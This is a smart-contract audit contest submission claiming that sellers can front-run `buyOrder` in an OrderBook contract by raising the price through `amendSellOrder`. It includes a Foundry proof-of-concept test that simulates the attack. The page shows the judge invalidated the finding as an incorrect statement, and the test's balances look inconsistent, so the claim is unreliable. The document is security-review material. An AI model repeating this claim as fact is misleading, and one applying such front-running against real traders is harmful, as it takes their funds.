OrderBook

First Flight #43
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: medium
Likelihood: high
Invalid

Seller Front-Running Enables Price Manipulation in `buyOrder`

Seller Front-Running Attack on Buy Orders

Description

  • The buyOrder function allows buyers to purchase tokens at the current order price without any slippage protection or price validation

  • Sellers can monitor the mempool for incoming buyOrder transactions and front-run them by calling amendSellOrder to increase the price before the buyer's transaction executes

function buyOrder(uint256 _orderId) public {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
order.isActive = false;
// @> No price validation - buyer pays whatever the current price is
uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
uint256 sellerReceives = order.priceInUSDC - protocolFee;
// @> Transfers occur at potentially manipulated price
iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
totalFees += protocolFee;
emit OrderFilled(_orderId, msg.sender, order.seller);
}

Risk

Likelihood: High

  • MEV bots and sophisticated sellers actively monitor mempool transactions

  • Front-running infrastructure is readily available and profitable

  • No technical barriers prevent sellers from seeing and reacting to pending buy orders

  • Economic incentive exists for sellers to maximize their selling price

Impact: Medium

  • Buyers pay significantly more than the originally listed price

  • Market manipulation reduces trust in the platform

  • Unfair advantage to technically sophisticated sellers

  • Economic value extraction from legitimate buyers

Proof of Concept

function test_sellerFrontRunsBuyerAttack() public {
// SETUP: Alice creates a WBTC sell order at a fair market price
vm.startPrank(alice);
wbtc.approve(address(book), 2e8);
uint256 orderId = book.createSellOrder(
address(wbtc),
2e8, // 2 WBTC
180000e6, // Listed at 180,000 USDC
2 days
);
vm.stopPrank();
usdc.mint(dan, 50000e6);
// BEFORE ATTACK: Record initial state
uint256 danInitialUSDC = usdc.balanceOf(dan);
uint256 aliceInitialUSDC = usdc.balanceOf(alice);
uint256 expectedPayment = 180000e6;
console2.log("Original order price: %d USDC", expectedPayment / 1e6);
console2.log("Dan's initial USDC balance: %d", danInitialUSDC / 1e6);
console2.log("- Order ID: %d", orderId);
console2.log("- Expected price: %d USDC", expectedPayment / 1e6);
console2.log(
"Alice sees Dan's buyOrder for order %d in mempool",
orderId
);
// Alice's front-running transaction executes FIRST (higher gas price)
vm.prank(alice);
book.amendSellOrder(orderId, 2e8, 220000e6, 2 days); // Increase by 40,000 USDC
// Verify the price manipulation
OrderBook.Order memory manipulatedOrder = book.getOrder(orderId);
console2.log(
"Alice successfully increased price to: %d USDC",
manipulatedOrder.priceInUSDC / 1e6
);
// VICTIM: Dan's transaction executes SECOND at the manipulated price
console2.log(
"\n--- Dan's transaction executes at manipulated price ---"
);
console2.log("Dan's transaction executes after Alice's amendment");
// Dan's transaction executes
vm.startPrank(dan);
usdc.approve(address(book), 220000e6);
book.buyOrder(orderId); // Dan pays the inflated price
vm.stopPrank();
// ATTACK RESULT: Calculate the damage
uint256 danFinalUSDC = usdc.balanceOf(dan);
uint256 aliceFinalUSDC = usdc.balanceOf(alice);
uint256 actualPayment = danInitialUSDC - danFinalUSDC;
uint256 overcharge = actualPayment - expectedPayment;
uint256 expectedAliceReceives = 180000e6 - (180000e6 * 3) / 100; // Original price minus 3% fee
uint256 actualAliceReceives = aliceFinalUSDC - aliceInitialUSDC;
uint256 aliceExtraProfit = actualAliceReceives - expectedAliceReceives;
console2.log("\n=== FRONT-RUNNING ATTACK RESULTS ===");
console2.log("Expected payment: %d USDC", expectedPayment / 1e6);
console2.log("Actual payment: %d USDC", actualPayment / 1e6);
console2.log("Overcharge amount: %d USDC", overcharge / 1e6);
console2.log("Alice's extra profit: %d USDC", aliceExtraProfit / 1e6);
// ASSERTIONS: Verify the attack succeeded
assertEq(
actualPayment,
220000e6,
"Dan paid the manipulated higher price"
);
assertEq(
overcharge,
40000e6,
"Dan was overcharged exactly 40,000 USDC"
);
assertEq(wbtc.balanceOf(dan), 2e8, "Dan still received the WBTC");
assertEq(
aliceExtraProfit,
38800e6,
"Alice earned 38,800 USDC extra profit"
); // 40,000 - 3% fee on extra amount
// Show the transaction ordering that enabled the attack
console2.log("\n=== TRANSACTION ORDERING THAT ENABLED ATTACK ===");
console2.log("Block N:");
console2.log(
" 1. Dan submits: buyOrder(%d) expecting to pay %d USDC",
orderId,
expectedPayment / 1e6
);
console2.log(" 2. Alice sees Dan's tx in mempool");
console2.log(
" 3. Alice submits: amendSellOrder(%d, ..., %d) with higher gas",
orderId,
220000e6 / 1e6
);
console2.log("Block N+1:");
// Calculate percentage increase
uint256 priceIncrease = ((actualPayment - expectedPayment) * 100) /
expectedPayment;
console2.log("\nPrice manipulation: +%d%%", priceIncrease);
assertEq(priceIncrease, 22, "22% price increase from front-running");
// Verify order state
OrderBook.Order memory finalOrder = book.getOrder(orderId);
assertEq(
finalOrder.isActive,
false,
"Order should be inactive after purchase"
);
}
Updates

Lead Judging Commences

yeahchibyke Lead Judge
11 days ago
yeahchibyke Lead Judge 10 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.